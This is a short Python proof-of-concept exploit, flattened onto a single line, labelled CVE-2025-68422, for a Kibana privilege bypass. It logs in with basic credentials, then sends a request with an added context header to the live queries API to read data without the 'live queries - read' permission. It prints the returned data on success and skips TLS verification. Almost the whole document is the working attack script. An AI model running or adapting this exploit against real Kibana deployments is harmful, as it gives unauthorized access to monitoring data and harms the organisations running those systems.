CVE-2025-68422

import requests import json # CVE-2025-68422 PoC - Kibana Privilege Bypass # Target: Kibana instances with live queries feature # Note: Requires valid authentication but lacking 'live queries - read' permission TARGET_URL = "https://target-kibana:5601" USERNAME = "[email protected]" PASSWORD = "password123" def get_auth_token(): """Obtain authentication token via Kibana login""" login_url = f"{TARGET_URL}/internal/security/login" payload = { "providerName": "basic", "providerType": "basic", "currentURL": "/", "params": { "username": USERNAME, "password": PASSWORD } } headers = { "Content-Type": "application/json", "kbn-version": "8.19.6" } response = requests.post(login_url, json=payload, headers=headers, verify=False) if response.status_code == 200: return response.cookies.get('sid') return None def exploit_privilege_bypass(session_cookie): """Exploit the privilege bypass to access live queries without permission""" # Target endpoint that should require 'live queries - read' permission exploit_url = f"{TARGET_URL}/api/live_query/queries" headers = { "Content-Type": "application/json", "kbn-version": "8.19.6", "x-kbn-context": "workspace" } cookies = {'sid': session_cookie} # Crafted request to bypass permission check response = requests.get(exploit_url, headers=headers, cookies=cookies, verify=False) if response.status_code == 200: print("[+] SUCCESS: Accessed live queries without proper permission!") print(f"[+] Response: {json.dumps(response.json(), indent=2)}") return True else: print(f"[-] FAILED: Status code {response.status_code}") return False def main(): print("[*] CVE-2025-68422 Kibana Privilege Bypass PoC") print("[*] Target: Live Queries unauthorized access") session = get_auth_token() if session: exploit_privilege_bypass(session) else: print("[-] Authentication failed") if __name__ == "__main__": main()

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